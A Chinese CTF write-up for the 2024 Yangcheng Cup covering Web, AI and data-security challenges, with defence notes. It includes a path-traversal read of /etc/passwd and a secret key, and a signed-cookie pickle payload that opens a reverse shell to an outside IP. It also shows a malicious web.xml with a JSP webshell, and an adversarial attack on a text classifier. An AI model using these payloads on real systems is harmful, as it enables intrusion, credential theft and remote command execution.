2024年“羊城杯”粤港澳大湾区网络安全大赛 初赛 Web&数据安全&AI 题解WriteUp
字数 988 2025-08-24 07:48:23

2024年"羊城杯"粤港澳大湾区网络安全大赛题解与教学文档

Web安全题目解析

题目1:路径穿越与Pickle反序列化

漏洞点分析

  1. 路径穿越漏洞:/lyrics路由未对输入参数进行过滤,允许../目录遍历
  2. Pickle反序列化:cookie处理中存在不安全的pickle反序列化操作

利用步骤

  1. 信息收集:

    • 读取/etc/passwd确认漏洞存在
    • 获取源码:/lyrics?lyrics=../app.py
    • 获取密钥文件:/lyrics?lyrics=../config/secret_key.py
    • 获取cookie处理模块:/lyrics?lyrics=../cookie.py
  2. 构造恶意Pickle载荷:

import base64
import hashlib
import hmac
import pickle

def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, str) else bytes(s)

def cookie_encode(data, key):
    msg = data
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg

key = "EnjoyThePlayTime123456"
poc = b'KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTI0LjcxLjE0Ny45OS8xNzE3IDA+JjEnJwppb3MKc3lzdGVtCi4='
print(cookie_encode(poc, key))
  1. 发送恶意cookie实现RCE

防御措施

  • 禁用pickle反序列化或使用安全的序列化方式
  • 对用户输入进行严格过滤
  • 使用HMAC签名验证数据完整性

题目2:Tomcat安全问题

漏洞点分析

  1. 信息泄露:通过/read路由读取敏感配置文件
  2. XML文件上传漏洞:可覆盖web.xml实现恶意配置

利用步骤

  1. 信息收集:

    • 读取tomcat-users.xml获取管理员凭据
    • 确认web.xml路径
  2. 上传恶意web.xml:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>myshell</servlet-name>
        <jsp-file>/WEB-INF/tmp/myshell.xml</jsp-file>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>myshell</servlet-name>
        <url-pattern>/myshell</url-pattern>
    </servlet-mapping>
</web-app>
  1. 上传JSP木马:
<% Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); %>
  1. 访问恶意路由执行命令

防御措施

  • 限制上传文件类型和内容
  • 使用最小权限原则配置Tomcat
  • 定期更新Tomcat版本

AI安全题目解析

NLP模型攻击

攻击要求

  1. 对文本添加微小扰动,使模型分类错误
  2. 修改后文本与原文本相似度≥75%
  3. 攻击成功率≥90%

技术实现

  1. 使用OpenAttack库的PWWS攻击方法
  2. 自定义Victim模型封装目标模型

关键代码

class MyTransformerClassifier(oa.Classifier):
    def __init__(self, model_path):
        self.tokenizer = AutoTokenizer.from_pretrained(model_path)
        self.model = AutoModelForSequenceClassification.from_pretrained(model_path)

    def get_pred(self, input_):
        inputs = self.tokenizer(input_, return_tensors="pt", padding=True, truncation=True)
        with torch.no_grad():
            logits = self.model(**inputs).logits
        return logits.argmax(dim=-1).cpu().numpy()

    def get_prob(self, input_):
        inputs = self.tokenizer(input_, return_tensors="pt", padding=True, truncation=True)
        with torch.no_grad():
            logits = self.model(**inputs).logits
        probs = torch.softmax(logits, dim=-1)
        return probs.cpu().numpy()

攻击流程

  1. 加载目标模型和数据集
  2. 初始化PWWS攻击器
  3. 执行攻击评估
  4. 保存对抗样本

数据分析题目解析

数据分类与清洗

关键函数

def classify_data(data, k):
    if not isinstance(data, str): return None
    if data.isdigit() and 1 <= int(data) <= 10000: return 0
    if data in ['男', '女']: return 4
    if any(0x4e00 <= ord(char) <= 0x9fff for char in data): return 3
    if len(data) == 32: return 2
    if data.isdigit() and len(data) == 8: return 5
    if data[6:14] in k: return 6
    if data.startswith(('130','131','132')): return 7
    return 1

数据处理流程

  1. 读取原始数据
  2. 对每列数据进行分类
  3. 根据分类结果重组数据
  4. 输出清洗后的CSV文件

流量分析与数据脱敏

关键验证函数

def verify_identity(id_string):
    if len(id_string) != 18: return False
    if not id_string[:-1].isdigit(): return False
    if not (id_string[-1].isdigit() or id_string[-1].upper() == 'X'): return False
    
    weights = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]
    check_codes = ['1','0','X','9','8','7','6','5','4','3','2']
    
    sum_ = sum(int(id_string[i]) * weights[i] for i in range(17))
    mod = sum_ % 11
    return id_string[-1].upper() == check_codes[mod]

脱敏方法

def desensitize_name(name):
    if len(name) == 2: return name[0] + '*'
    else: return name[0] + '*'*(len(name)-2) + name[-1]

def desensitize_idcard(idcard):
    return '*'*6 + idcard[6:10] + '*'*8

def desensitize_phone(phone):
    return phone[:3] + '****' + phone[-4:]

总结

本教学文档涵盖了以下关键安全技术:

  1. Web安全中的路径穿越和反序列化漏洞
  2. Tomcat配置不当导致的安全问题
  3. NLP模型的对抗攻击方法
  4. 数据分类、清洗和脱敏技术

每种技术都提供了详细的利用方法和防御措施,可作为网络安全学习和实践的参考。

2024年"羊城杯"粤港澳大湾区网络安全大赛题解与教学文档 Web安全题目解析 题目1:路径穿越与Pickle反序列化 漏洞点分析 : 路径穿越漏洞: /lyrics 路由未对输入参数进行过滤,允许 ../ 目录遍历 Pickle反序列化:cookie处理中存在不安全的pickle反序列化操作 利用步骤 : 信息收集: 读取 /etc/passwd 确认漏洞存在 获取源码: /lyrics?lyrics=../app.py 获取密钥文件: /lyrics?lyrics=../config/secret_key.py 获取cookie处理模块: /lyrics?lyrics=../cookie.py 构造恶意Pickle载荷: 发送恶意cookie实现RCE 防御措施 : 禁用pickle反序列化或使用安全的序列化方式 对用户输入进行严格过滤 使用HMAC签名验证数据完整性 题目2:Tomcat安全问题 漏洞点分析 : 信息泄露:通过 /read 路由读取敏感配置文件 XML文件上传漏洞:可覆盖web.xml实现恶意配置 利用步骤 : 信息收集: 读取tomcat-users.xml获取管理员凭据 确认web.xml路径 上传恶意web.xml: 上传JSP木马: 访问恶意路由执行命令 防御措施 : 限制上传文件类型和内容 使用最小权限原则配置Tomcat 定期更新Tomcat版本 AI安全题目解析 NLP模型攻击 攻击要求 : 对文本添加微小扰动,使模型分类错误 修改后文本与原文本相似度≥75% 攻击成功率≥90% 技术实现 : 使用OpenAttack库的PWWS攻击方法 自定义Victim模型封装目标模型 关键代码 : 攻击流程 : 加载目标模型和数据集 初始化PWWS攻击器 执行攻击评估 保存对抗样本 数据分析题目解析 数据分类与清洗 关键函数 : 数据处理流程 : 读取原始数据 对每列数据进行分类 根据分类结果重组数据 输出清洗后的CSV文件 流量分析与数据脱敏 关键验证函数 : 脱敏方法 : 总结 本教学文档涵盖了以下关键安全技术: Web安全中的路径穿越和反序列化漏洞 Tomcat配置不当导致的安全问题 NLP模型的对抗攻击方法 数据分类、清洗和脱敏技术 每种技术都提供了详细的利用方法和防御措施,可作为网络安全学习和实践的参考。